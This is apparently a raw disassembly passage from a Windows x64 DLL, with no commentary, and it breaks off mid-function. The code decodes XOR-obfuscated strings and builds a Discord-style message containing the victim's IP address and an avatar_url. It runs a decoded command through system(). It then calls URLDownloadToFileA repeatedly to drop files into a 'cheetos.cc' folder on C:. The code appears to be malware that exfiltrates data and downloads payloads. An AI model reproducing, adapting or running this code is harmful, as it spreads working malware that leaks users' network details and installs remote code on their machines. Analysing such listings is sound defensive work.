mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
mov rdx, qword [rbp + 0xf8]
mov rcx, qword [rbp + 0xf0]
mov rax, rdx
sub rax, rcx
cmp rax, 0xc
jb 0x1800558c0
cmp rdx, 0xf
lea rax, [rcx + 0xc]
lea rdi, [rbp + 0xe0]
mov qword [rbp + 0xf0], rax
cmova rdi, qword [rbp + 0xe0]
lea rdx, str.avatar_url
add rdi, rcx
mov r8d, 0xc
mov rcx, rdi
call sub.VCRUNTIME140.dll_memmove
lea rax, [rbp + 0xe0]
mov byte [rdi + 0xc], r12b
jmp 0x1800558e1
lea r9, str.avatar_url
mov qword [rsp + 0x20], 0xc
mov edx, 0xc
lea rcx, [rbp + 0xe0]
call fcn.18005b820
cmp qword [rbp - 0x48], 0xf
lea rdx, [rbp - 0x60]
mov r8, qword [rbp - 0x50]
lea rcx, [rbp + 0x230]
cmova rdx, qword [rbp - 0x60]
xorps xmm0, xmm0
movups xmmword [rbp + 0x230], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x240], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x230], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x240], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
call fcn.180058b00
mov qword [rbp + 0xd0], r12
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
mov qword [rbp + 0xd8], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xc0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xd0], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
mov rdx, qword [rbp + 0xd8]
mov rcx, qword [rbp + 0xd0]
mov rax, rdx
sub rax, rcx
cmp rax, 2
jb 0x1800559c0
lea rax, [rcx + 2]
cmp rdx, 0xf
mov qword [rbp + 0xd0], rax
lea rax, [rbp + 0xc0]
cmova rax, qword [rbp + 0xc0]
mov word [rax + rcx], 0x2022
mov byte [rax + rcx + 2], r12b
lea rax, [rbp + 0xc0]
jmp 0x1800559e1
lea r9, [0x180131764]
mov qword [rsp + 0x20], 2
mov edx, 2
lea rcx, [rbp + 0xc0]
call fcn.18005b820
cmp qword [rbp - 8], 0xf
lea rdx, [rbp - 0x20]
mov r8, qword [rbp - 0x10]
lea rcx, [rbp + 0x210]
cmova rdx, qword [rbp - 0x20]
xorps xmm0, xmm0
movups xmmword [rbp + 0x210], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x220], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x210], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x220], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
call fcn.180058b00
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0x1f0], xmm0
movdqu xmmword [rbp + 0x200], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1f0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x200], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
mov rdx, qword [rbp + 0x228]
cmp rdx, 0xf
jbe 0x180055ab2
mov rcx, qword [rbp + 0x210]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180055aad
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180055c63
call fcn.18010983c
mov rdx, qword [rbp + 0xd8]
movdqa xmm0, xmmword [0x180285140]
mov byte [rbp + 0x210], r12b
movdqu xmmword [rbp + 0x220], xmm0
cmp rdx, 0xf
jbe 0x180055b0a
mov rcx, qword [rbp + 0xc0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180055b05
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180055c63
call fcn.18010983c
mov rdx, qword [rbp + 0x248]
mov qword [rbp + 0xd0], r12
mov qword [rbp + 0xd8], 0xf
mov byte [rbp + 0xc0], r12b
cmp rdx, 0xf
jbe 0x180055b64
mov rcx, qword [rbp + 0x230]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180055b5f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180055c63
call fcn.18010983c
mov rdx, qword [rbp + 0xf8]
movdqa xmm0, xmmword [0x180285140]
mov byte [rbp + 0x230], r12b
movdqu xmmword [rbp + 0x240], xmm0
cmp rdx, 0xf
jbe 0x180055bbc
mov rcx, qword [rbp + 0xe0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180055bb7
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180055c63
call fcn.18010983c
mov rdx, qword [rbp + 0x118]
mov qword [rbp + 0xf0], r12
mov qword [rbp + 0xf8], 0xf
mov byte [rbp + 0xe0], r12b
cmp rdx, 0xf
jbe 0x180055c12
mov rcx, qword [rbp + 0x100]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180055c0d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180055c63
call fcn.18010983c
mov rdx, qword [rbp + 0x138]
mov qword [rbp + 0x110], r12
mov qword [rbp + 0x118], 0xf
mov byte [rbp + 0x100], r12b
cmp rdx, 0xf
jbe 0x180055c6f
mov rcx, qword [rbp + 0x120]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180055c6a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180055c6a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18010983c
movdqa xmm0, xmmword [0x180285140]
movabs rax, 0xd636339626099628
movdqu xmmword [rbp + 0x130], xmm0
mov byte [rbp + 0x120], r12b
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x2f0], rax
movabs rax, 0x44b9b659d45f6751
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x2f8], rax
movabs rax, 0x2b8d84110a4076af
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x300], rax
movabs rax, 0xed59282ade5983a7
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x308], rax
movabs rax, 0x402e132bc08a07f
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x310], rax
movabs rax, 0xb6d726c42fddb8f8
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x318], rax
movabs rax, 0xefd31f802a6d9794
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x320], rax
movabs rax, 0xba617981532020a8
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x328], rax
movabs rax, 0x6499b8e4c5e210a3
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x330], rax
movabs rax, 0xc382d519d7812c76
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x338], rax
movabs rax, 0x7fd4034f86bbc5e5
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x340], rax
movabs rax, 0xd605b9e05dd72686
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x348], rax
movabs rax, 0x2989f9f306929463
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x350], rax
movabs rax, 0x33e7942f9af334a9
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x358], rax
movabs rax, 0xb21b1eb64a7be34b
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x660], rax
movabs rax, 0x21cac37bf43e1330
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x668], rax
movabs rax, 0x43eeb974672118dd
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x670], rax
movabs rax, 0x8e3a0659b12de6c2
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x678], rax
movabs rax, 0x6d63a7129c2580cf
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x680], rax
movabs rax, 0xc2b949a709b9dd94
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x688], rax
movabs rax, 0xa6f321a01719f9f1
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x690], rax
movabs rax, 0xc31559f530454ac6
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x698], rax
movabs rax, 0x16f8cfdee5d875d3
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x6a0], rax
movabs rax, 0xa7ee9a23b0ef4518
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x6a8], rax
movabs rax, 0x11bb6a3cf4de93c5
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x6b0], rax
movabs rax, 0xa55ad78130ed06aa
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x6b8], rax
movabs rax, 0x13ee979a62fcf517
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x6c0], rax
movabs rax, 0x33c7b90fe89647fc
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
movdqa xmm0, xmmword [rbp + 0x2f0]
xorps xmm0, xmmword [rbp + 0x660]
movdqa xmm1, xmmword [rbp + 0x300]
xorps xmm1, xmmword [rbp + 0x670]
movdqa xmmword [rbp + 0x2f0], xmm0
movdqa xmm0, xmmword [rbp + 0x310]
xorps xmm0, xmmword [rbp + 0x680]
movdqa xmmword [rbp + 0x310], xmm0
movdqa xmm0, xmmword [rbp + 0x330]
xorps xmm0, xmmword [rbp + 0x6a0]
movdqa xmmword [rbp + 0x300], xmm1
movdqa xmm1, xmmword [rbp + 0x320]
xorps xmm1, xmmword [rbp + 0x690]
movdqa xmmword [rbp + 0x330], xmm0
movdqa xmm0, xmmword [rbp + 0x350]
movdqa xmmword [rbp + 0x320], xmm1
movdqa xmm1, xmmword [rbp + 0x340]
xorps xmm1, xmmword [rbp + 0x6b0]
mov qword [rbp + 0x6c8], rax
lea rax, [rbp + 0x2f0]
xorps xmm0, xmmword [rbp + 0x6c0]
movdqa xmmword [rbp + 0x350], xmm0
movdqa xmmword [rbp + 0x340], xmm1
inc rbx
cmp byte [rax + rbx], r12b
jne 0x180056092
mov rcx, qword [rbp - 0x30]
sub r15, rcx
cmp r15, rbx
jb 0x180057c45
cmp qword [rbp - 0x28], 0xf
lea rax, [rbp - 0x40]
mov qword [rsp + 0x30], rcx
lea r9, [rbp + 0x2f0]
cmova rax, qword [rbp - 0x40]
lea rcx, [rbp + 0x8a0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
call fcn.180004560
mov r8d, 0x15
lea rdx, str.__:man_detective:IP:
lea rcx, [rbp + 0x8a0]
call fcn.180058b00
cmp qword [rbp + 0x158], 0xf
lea rdx, [rbp + 0x140]
mov r8, qword [rbp + 0x150]
lea rcx, [rbp + 0x2d0]
cmova rdx, qword [rbp + 0x140]
xorps xmm0, xmm0
movups xmmword [rbp + 0x2d0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x2e0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2d0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2e0], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
call fcn.180058b00
xorps xmm0, xmm0
lea rdx, str.avatar_url
movups xmmword [rbp + 0x2b0], xmm0
lea rcx, [rbp + 0x2b0]
mov r8d, 0xc
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x2c0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2b0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2c0], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
call fcn.180058b00
cmp qword [rbp - 0x48], 0xf
lea rdx, [rbp - 0x60]
mov r8, qword [rbp - 0x50]
lea rcx, [rbp + 0x290]
cmova rdx, qword [rbp - 0x60]
xorps xmm0, xmm0
movups xmmword [rbp + 0x290], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x2a0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x290], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2a0], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
call fcn.180058b00
xorps xmm0, xmm0
lea rdx, [0x180131764]
movups xmmword [rbp + 0x270], xmm0
lea rcx, [rbp + 0x270]
mov r8d, 2
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x280], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x270], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x280], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
call fcn.180058b00
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0x250], xmm0
movdqu xmmword [rbp + 0x260], xmm1
movups xmm0, xmmword [rax]
cmp qword [rbp - 8], 0xf
lea rdx, [rbp - 0x20]
mov r8, qword [rbp - 0x10]
lea rcx, [rbp + 0x250]
cmova rdx, qword [rbp - 0x20]
movups xmmword [rbp + 0x250], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x260], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
call fcn.180058b00
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
mov rdx, qword [rbp + 0x268]
movups xmmword [rbp + 0x860], xmm0
movups xmmword [rbp + 0x870], xmm1
cmp rdx, 0xf
jbe 0x18005630e
mov rcx, qword [rbp + 0x250]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180056309
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180056461
call fcn.18010983c
mov rdx, qword [rbp + 0x288]
movdqa xmm0, xmmword [0x180285140]
mov byte [rbp + 0x250], r12b
movdqu xmmword [rbp + 0x260], xmm0
cmp rdx, 0xf
jbe 0x180056366
mov rcx, qword [rbp + 0x270]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180056361
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180056461
call fcn.18010983c
mov rdx, qword [rbp + 0x2a8]
movdqa xmm0, xmmword [0x180285140]
mov byte [rbp + 0x270], r12b
movdqu xmmword [rbp + 0x280], xmm0
cmp rdx, 0xf
jbe 0x1800563be
mov rcx, qword [rbp + 0x290]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800563b9
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180056461
call fcn.18010983c
mov rdx, qword [rbp + 0x2c8]
movdqa xmm0, xmmword [0x180285140]
mov byte [rbp + 0x290], r12b
movdqu xmmword [rbp + 0x2a0], xmm0
cmp rdx, 0xf
jbe 0x180056412
mov rcx, qword [rbp + 0x2b0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18005640d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180056461
call fcn.18010983c
mov rdx, qword [rbp + 0x2e8]
movdqa xmm0, xmmword [0x180285140]
mov byte [rbp + 0x2b0], r12b
movdqu xmmword [rbp + 0x2c0], xmm0
cmp rdx, 0xf
jbe 0x18005646d
mov rcx, qword [rbp + 0x2d0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180056468
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180056468
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18010983c
movdqa xmm0, xmmword [0x180285140]
lea rcx, [rbp + 0x8a0]
movdqu xmmword [rbp + 0x2e0], xmm0
mov byte [rbp + 0x2d0], r12b
call fcn.180004330
cmp qword [rbp + 0x208], 0xf
lea rcx, [rbp + 0x1f0]
cmova rcx, qword [rbp + 0x1f0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.180053940
call fcn.1800422f0
call fcn.180003f80
call fcn.180004030
movabs rax, 0x9d3424c53a0f9723
movabs rdi, 0x42b9aa1fda507753
mov qword [rbp + 0xa20], rax
movabs r13, 0x20c0c90406456ab2
mov rax, qword [rbp + 0xa20]
movabs r12, 0xed5b722dd0028bad
mov qword [rsp + 0x40], rax
movabs r15, 0x5c4cd466f240eda7
mov qword [rbp + 0xa20], rdi
movabs r14, 0xf28079933c8aeca5
mov rax, qword [rbp + 0xa20]
movabs rsi, 0x93c510962e20c8c1
mov qword [rsp + 0x48], rax
movabs rbx, 0xf42c6dc4016a78f7
mov qword [rbp + 0xa20], r13
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x50], rax
mov qword [rbp + 0xa20], r12
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x58], rax
mov qword [rbp + 0xa20], r15
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x60], rax
mov qword [rbp + 0xa20], r14
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x68], rax
mov qword [rbp + 0xa20], rsi
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x70], rax
mov qword [rbp + 0xa20], rbx
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x78], rax
movabs rax, 0x27cdffe6d4ec41e4
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp - 0x80], rax
movabs rax, 0xc4c1ac1281d97228
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp - 0x78], rax
movabs rax, 0x73951e5581bde1ac
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp - 0x70], rax
movabs rax, 0xa55ad7e45c8968df
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp - 0x68], rax
movabs rax, 0xb21b1eb64a7be34b
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x470], rax
movabs rax, 0x21cac37bf43e1330
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x478], rax
movabs rax, 0x43eeb974672118dd
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x480], rax
movabs rax, 0x8e3a0659b12de6c2
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x488], rax
movabs rax, 0x6d63a7129c2580cf
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x490], rax
movabs rax, 0xc2b949a709b9dd94
mov qword [rsp + 0x20], 0
mov qword [rbp + 0xa20], rax
lea r8, str.C:cheetos.cccircuit.bundle
mov rax, qword [rbp + 0xa20]
lea rdx, [rsp + 0x40]
mov qword [rbp + 0x498], rax
xor r9d, r9d
movabs rax, 0xa6f321a01719f9f1
xor ecx, ecx
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x4a0], rax
movabs rax, 0xc31559f530454ac6
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x4a8], rax
movabs rax, 0x16f8cfdee5d875d3
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x4b0], rax
movabs rax, 0xa7ee9a23b0ef4518
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x4b8], rax
movabs rax, 0x11bb6a3cf4de93c5
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x4c0], rax
movabs rax, 0xa55ad78130ed06aa
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
movdqa xmm0, xmmword [rsp + 0x40]
xorps xmm0, xmmword [rbp + 0x470]
movdqa xmm1, xmmword [rsp + 0x50]
xorps xmm1, xmmword [rbp + 0x480]
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmm0, xmmword [rsp + 0x60]
xorps xmm0, xmmword [rbp + 0x490]
movdqa xmmword [rsp + 0x50], xmm1
movdqa xmm1, xmmword [rsp + 0x70]
xorps xmm1, xmmword [rbp + 0x4a0]
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmm0, xmmword [rbp - 0x80]
xorps xmm0, xmmword [rbp + 0x4b0]
movdqa xmmword [rsp + 0x70], xmm1
movdqa xmm1, xmmword [rbp - 0x70]
mov qword [rbp + 0x4c8], rax
xorps xmm1, xmmword [rbp + 0x4c0]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmmword [rbp - 0x70], xmm1
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movabs rax, 0x9d3424c53a0f9723
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x40], rax
mov qword [rbp + 0xa20], rdi
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x48], rax
mov qword [rbp + 0xa20], r13
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x50], rax
mov qword [rbp + 0xa20], r12
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x58], rax
mov qword [rbp + 0xa20], r15
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x60], rax
mov qword [rbp + 0xa20], r14
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x68], rax
mov qword [rbp + 0xa20], rsi
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x70], rax
mov qword [rbp + 0xa20], rbx
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x78], rax
movabs rax, 0x21c8fceed7ec41e4
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp - 0x80], rax
movabs rax, 0xd5c1aa1189d6742e
mov qword [rsp + 0x20], 0
mov qword [rbp + 0xa20], rax
lea r8, str.C:cheetos.cc_rust.assets
mov rax, qword [rbp + 0xa20]
xor r9d, r9d
mov qword [rbp - 0x78], rax
movabs rax, 0x74c8195ddaaae0b0
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp - 0x70], rax
movabs rax, 0xa55ad78130ed75de
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp - 0x68], rax
movabs rax, 0xb21b1eb64a7be34b
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x4d0], rax
movabs rax, 0x21cac37bf43e1330
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x4d8], rax
movabs rax, 0x43eeb974672118dd
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x4e0], rax
movabs rax, 0x8e3a0659b12de6c2
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x4e8], rax
movabs rax, 0x6d63a7129c2580cf
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x4f0], rax
movabs rax, 0xc2b949a709b9dd94
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x4f8], rax
movabs rax, 0xa6f321a01719f9f1
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x500], rax
movabs rax, 0xc31559f530454ac6
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x508], rax
movabs rax, 0x16f8cfdee5d875d3
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x510], rax
movabs rax, 0xa7ee9a23b0ef4518
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x518], rax
movabs rax, 0x11bb6a3cf4de93c5
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x520], rax
movabs rax, 0xa55ad78130ed06aa
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
movdqa xmm0, xmmword [rsp + 0x40]
xorps xmm0, xmmword [rbp + 0x4d0]
movdqa xmm1, xmmword [rsp + 0x50]
xorps xmm1, xmmword [rbp + 0x4e0]
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmm0, xmmword [rsp + 0x60]
xorps xmm0, xmmword [rbp + 0x4f0]
movdqa xmmword [rsp + 0x50], xmm1
movdqa xmm1, xmmword [rsp + 0x70]
xorps xmm1, xmmword [rbp + 0x500]
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmm0, xmmword [rbp - 0x80]
xorps xmm0, xmmword [rbp + 0x510]
movdqa xmmword [rsp + 0x70], xmm1
movdqa xmm1, xmmword [rbp - 0x70]
mov qword [rbp + 0x528], rax
xorps xmm1, xmmword [rbp + 0x520]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmmword [rbp - 0x70], xmm1
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movabs rax, 0x9d3424c53a0f9723
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x40], rax
mov qword [rbp + 0xa20], rdi
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x48], rax
mov qword [rbp + 0xa20], r13
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x50], rax
mov qword [rbp + 0xa20], r12
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x58], rax
mov qword [rbp + 0xa20], r15
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x60], rax
mov qword [rbp + 0xa20], r14
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x68], rax
mov qword [rbp + 0xa20], rsi
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x70], rax
mov qword [rbp + 0xa20], rbx
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x78], rax
movabs rax, 0x22c1f7e6d4ec41e4
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp - 0x80], rax
movabs rax, 0xcfc1a91584d67629
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp - 0x78], rax
movabs rax, 0x75d51f5edab1ffaa
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp - 0x70], rax
movabs rax, 0xa55ad78130ed63c6
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp - 0x68], rax
movabs rax, 0xb21b1eb64a7be34b
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x160], rax
movabs rax, 0x21cac37bf43e1330
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x168], rax
movabs rax, 0x43eeb974672118dd
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x170], rax
movabs rax, 0x8e3a0659b12de6c2
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x178], rax
movabs rax, 0x6d63a7129c2580cf
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x180], rax
movabs rax, 0xc2b949a709b9dd94
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x188], rax
movabs rax, 0xa6f321a01719f9f1
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x190], rax
movabs rax, 0xc31559f530454ac6
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
